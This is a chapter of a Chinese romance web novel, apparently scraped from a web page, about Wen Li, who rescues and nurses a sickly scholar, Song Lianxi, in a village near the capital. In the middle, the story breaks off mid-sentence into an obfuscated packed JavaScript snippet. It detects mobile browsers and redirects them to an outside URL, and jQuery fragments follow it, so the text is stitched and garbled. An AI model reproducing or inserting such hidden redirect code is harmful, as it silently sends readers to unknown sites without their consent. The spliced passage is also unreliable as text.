春日日晴,富有村的集市十分热闹,小贩们热情纯朴,叫卖声此起彼伏,卖力地招呼着过路人来自家摊位看一看,瞧一瞧。
文黎也是过路人之一,她一身红色劲装,窄袖收腕,腰束金色软带,腰封左侧系着一个绣着艾草的青色香囊,垂着的穗子随着文黎轻快的步伐轻扫衣摆,她顺着人群,哼着自创的小曲,悠闲地左看右瞧。
这集市热闹有趣,正是文黎喜欢的。
她先是看上了一个糕点小摊上晶莹剔透的水晶糕,买下后经不住摊主热情推荐,又买下了其他三四种。
经过首饰的摊子前又被摊主阿婆推着试着了几款簪子和发夹,阿婆直夸文黎水灵,似仙女下凡,美的让人不敢直视。
文黎表面不说,内心已经飘飘然了,脚踩不住实地,她挺直腰板,傻笑着只顾着掏银子,晕晕乎乎地把试了的首饰都买下,还搭着买了孩童用的一把金锁和一把银锁。
结完账,文黎满意地把自己朝气的高马尾潇洒一甩,继续前进。
她耳根子软,经不起热情的人招呼,等到实在是提不动了,文黎才扭头,提着两手满满的东西,准备朝着自家小院走。
这时有个十六七岁的年轻人跑来,叫住文黎,要接过文黎手中的东西。
“姑娘,我娘是刚刚姑娘你买菜的摊主,她见你东西多,叫我来帮帮你。”这少年龇着一口白牙,十分热情接过文黎手中大部分东西。“姑娘叫我春生就行。”
文黎朝他身后一看,一位在菜摊子前的纯朴的妇人对着文黎笑了笑。
是了,她刚刚买了几颗水灵灵的春笋和荠菜。
文黎随意地晃了晃手上仅剩水晶糕,笑着说到,“多谢你和你娘了,叫我文黎就行,文采的文,黎明的黎,以后一定多来光顾啊。”
“姑娘瞧着面生,是从哪里来呀?”
春生是土生土长的富有村人,自然熟悉村里的人,但虽然富有村是个小村落,却接近京城,来来往往的人不少,春生也不惊奇。
“我从雍州来,要去京城,”文黎笑吟吟地说到:“实不相瞒,我路过临川郊外时,救助了一位书生,要停留在这一段时间养伤。”
“雍州?听说那里冬天很漂亮。”
春生也笑嘻嘻地,他性子活络,一路上和文黎也是相谈甚欢,随着她七转八拐到达文黎暂时租的小院。
这是一间一进的小院,四间房,门口和院内都各有一颗玉兰树,此时正值花开之际,暗香浮动,春意无边。
春生知道这里,这里是之前的县老爷给自己从倚翠楼带回来的歌姬买下的住所。
他之前有几次这里送过菜。
春生进了院子,把东西都放下,又惊奇地喊到:“福贵,文秀,你们俩怎么在这?”
院内有两个十一二岁的孩童,一男一女,男孩憨厚,女孩腼腆。
除此之外,还有一位一身白衫的俊美男子,依靠在一间屋子的门口。
白衫松松垮垮挂在他消瘦的肩头,脊背挺得笔直,微风拂过,吹起他的衣摆,他面色有些苍白,没说什么话,但也难掩风度。
这应该就是文黎刚刚和他提到她救下的那名书生。
文黎和春生解释:“福贵和文秀是来帮我的忙。这院子不大,事情却不少,多亏了他们俩呢。”
福贵和文秀不过是两个十一二岁的孩子,家就住在文黎院子周边,听到文黎的夸赞,福康嘿嘿一笑,文秀也抿了抿嘴。
“文黎姐姐可好啦,一个月给我们俩一两银子呢。”福康挺着胸膛,骄傲地道。
春生惊讶,寻常成年男子在外做工也不过一二两,福康文秀两个孩子一个月就可以拿到一两,这位主顾算是十分大方的。
春生朝文黎憨厚一笑,摸了摸福康和文秀的头便告辞了。
这边送走春生,文秀和福康都来帮忙整理和安置,那白衣男子抬脚,走到玉兰树下设置的木桌旁,姗姗坐下。
文秀看到后,起身给他倒了杯茶,“连溪哥哥,喝茶。”
“谢谢文秀了。”宋连溪温声开口,眼角微微弯起,嘴角凝着淡笑,
文黎眼神一直尾随着他的行动。
这男子风度翩翩,桃花眼微微上挑,一袭白衣坐在清幽的玉兰树。
真是一幅活生生的美人饮茶图啊!
文黎心里痴痴的,不由得想,那女相士说不定说的真是真的呢?
文黎回想起那女道士高深莫测地说:“春日入倚翠楼,便可遇良人。”
这宋连溪不正是在倚翠楼和她相遇的吗!
文黎要是下次还能遇到那位女相士,定要好生招待,可不要像上次那样鲁莽。
不管女相士说的是不是真的,宋连溪的俊美一定是真的,不然也不会被山匪劫财后又卖到倚翠楼。
文黎满意的挺了挺腰板,要不是她,宋连溪还不知道要遭受什么嘞。
倚翠楼的男小官可不是好当的。
文黎面色如常,只是加快手上的动作,挑拣了自己买的小糕点奉上。
“这水晶糕里头是芋泥,这是茶糕,箬糕还有宝阶糕。宋连溪,你尝尝呗。”文黎殷勤地介绍,献宝似地打开这些糕点的包装。
眼前的几种糕点只有水晶糕卖相稍好,宋连溪只捡起一块晶莹剔透的水晶糕,细嚼慢咽,吃了一口。
宋连溪说他兄长在京城做官,虽然没说做到几品,但是根据他这对吃食的挑剔程度,文黎估计他家里肯定有点背景。
现在这世道不太平,平常百姓不过温饱而已,能养出这么挑剔且病弱的贵公子,肯定要有点实力。
“多谢姑娘了,很好吃。”他声音清越又温润,如清泉漱石,溅到文黎心底。
文黎笑眯眯的,这宋连溪不仅长的好看,声音好听,家里还有钱,真是赚到了。
就是可惜太瘦弱了点,说几句话就要咳几下。
“刚刚那位小哥是……?”宋连溪问,他迷人的桃花眼映着光,直勾勾的盯着文黎。
旁边的福康大声回答,“那是春生哥哥,春生哥哥经常帮李婆婆卖菜的。他们住在村子的另一边呢。”
文黎点头,“他看见我拿好多东西,帮我送回来。”
“我从春生那里买了春笋和荠菜,等下叫杨嫂子帮忙做了吃,好不好呀?”
文黎雇了福康照顾宋连溪,杨嫂子做饭,文秀打扫卫生。
福康和文秀不过十一二岁,但也帮着家里做点事,他们可以帮忙,而且文黎还喜欢他们的童真可爱,经常被童言童语逗地笑弯了腰。
福康和文秀齐声说好,文黎瞥了一眼宋连溪,他只是喝茶,并不搭话。
到了中午,文黎到厨房晃了晃,杨嫂子催文黎,“小文赶紧出去,这里不要你帮忙。”
昨天文黎兴致勃勃要帮忙,结果烧火时让碳灰沾满了脸。杨嫂子无奈地看着文黎尴尬洗脸,可不敢让她进厨房了。
文黎摸了摸鼻子,昨日她想伸脖看看火势,结果碰上了炉壁。
杨嫂子无奈,“小文啊。”
文黎只好离开。
出了厨房,文黎看到宋连溪准备喝药,面前赫然站立着叉着腰的福康和抱着盘子的文秀。
宋连溪是被土匪抢劫了,不仅身上的钱全部被掳走,人还被打的不轻。
富有村的老郎中说宋连溪的伤需要静养,而且他身体娇贵,恢复的比常人慢。
宋连溪每天在餐前的三顿药都不能少,文黎发现他喝药不老实,有一次居然偷偷泼到玉兰树下。
幸好玉兰树依旧花开繁茂,不理会宋连溪那天三次的“骚扰”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058947|194958||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
文黎发笑,但吩咐福康一定要督促宋连溪喝药。
“你的连溪哥哥不喝药以后可就只能瘫在床上了。”文黎逗福康。
宋连溪刚醒的时候就没力气下床,只能倚靠着枕头,半瘫在床上。
福康和文秀没见过病得这么重的人,看着宋连溪直着急。
这个长得像小神仙的哥哥病得这么重!
福康这小子实心眼,必须看到连溪哥哥喝完才肯走,不然就大声嚷嚷,惹得宋连溪耳廓泛红。
“连溪哥哥,不喝药病怎么好呀,赶紧趁热喝了吧。”福康学着娘小时候催着他喝药的口吻,“快一口喝了,连溪哥哥你乖。”
宋连溪:……
文黎听到嘴都要笑裂了,她忍着笑放下今早刚买点蜜饯,“对呀,福康都知道,不喝药病怎么好啊,快喝吧。吃个蜜饯就好了。”
文黎有点幸灾乐祸,但更多的是欣赏宋连溪的表情。
美人皱眉也别有一番趣味呀。
不过那病美人现在见两个人都盯着他喝药,赶紧一口闷了,又闷闷地拿了个蜜饯塞到嘴里。
文黎赶紧夸赞,“哇塞,好厉害啊宋连溪。这么苦的药就一口喝完了呢。”
福康紧随其后,“连溪哥哥你真厉害!”
“连溪哥哥真厉害!”文秀也乖乖附和。
宋连溪不说话,狠狠咬了几下嘴里的蜜饯,抬头瞧了瞧天上的月亮。
杨嫂子做完饭就回自己家了,小木桌正好四个人,一人一边。文黎坐宋连溪对面,她突然想起来,道:“宋连溪,你这几天的信写好了吗?”
当时宋连溪刚醒,答谢文黎的救命之恩后,说自己出门在外要给家人三日送一封信以报平安。
文黎自然没拒绝,她是正经人,虽然救下宋连溪带着点图谋不轨的意思,但自己可不玩囚禁那一套,而且自己去外面时可以顺便送信。今天刚好距离上次送信已经过了三天了。
“还未,明日再交给姑娘你,好吗?”宋连溪微微一笑。
“当然。”文黎本来就悠闲,出去送个信十分简单,她也可以去外面晃悠一会。
其实她也想和宋连溪培养感情,但是这几天他总是宣称精神不好要睡觉,只能作罢。
今天杨嫂子做了三菜一汤,除了炒春笋和荠菜豆腐,还有红烧排骨和蛋花汤。当然,还有为宋连溪这位伤员准备的小粥。
文黎尝了尝春笋和荠菜,都很鲜美,带着大家长的风范,催促文秀和福康吃。
宋连溪刚喝了药,没什么胃口。并不怎么动筷,
福康吃得欢,大口吃肉大口吃菜。
文秀就比较斯文了,细嚼慢咽。
“文黎姐姐,杨嫂子做饭真是好吃呀!”福康夸赞,竖了个大拇指。
“我也觉得。”文黎也回应一个大拇指。
宋连溪很少说话,等到收拾完碗筷后,他依旧坐在小木桌旁边。
宋连溪环视院内一圈,文黎不见踪影,文秀在洗碗筷,他问正在扫地的福康,“福康,你照顾我这几天肯定很辛苦吧。”
“不辛苦呀,”福康大大咧咧,“连溪哥哥,你老是睡觉,我都没做什么呢。”
宋连溪:……
“我病糊涂了,不知道我在这里已经待过去多少天了?”宋连溪手半握成拳,掩着唇,虚弱地咳了咳。
“我知道!连溪哥哥,你和文黎姐姐来这里八天啦!”福康大声作答,然后他自顾自的掰了掰手指,“我和文秀还有杨嫂子来了六天了呢。连溪哥哥,你就是那天醒的。”
“这么说,文黎姐姐独自照顾了我两天吗?”宋连溪学着福康称呼文黎,病弱的耷拉着眼。
“对呀!”
宋连溪看着福康天真憨厚的小脸,心里却冷笑。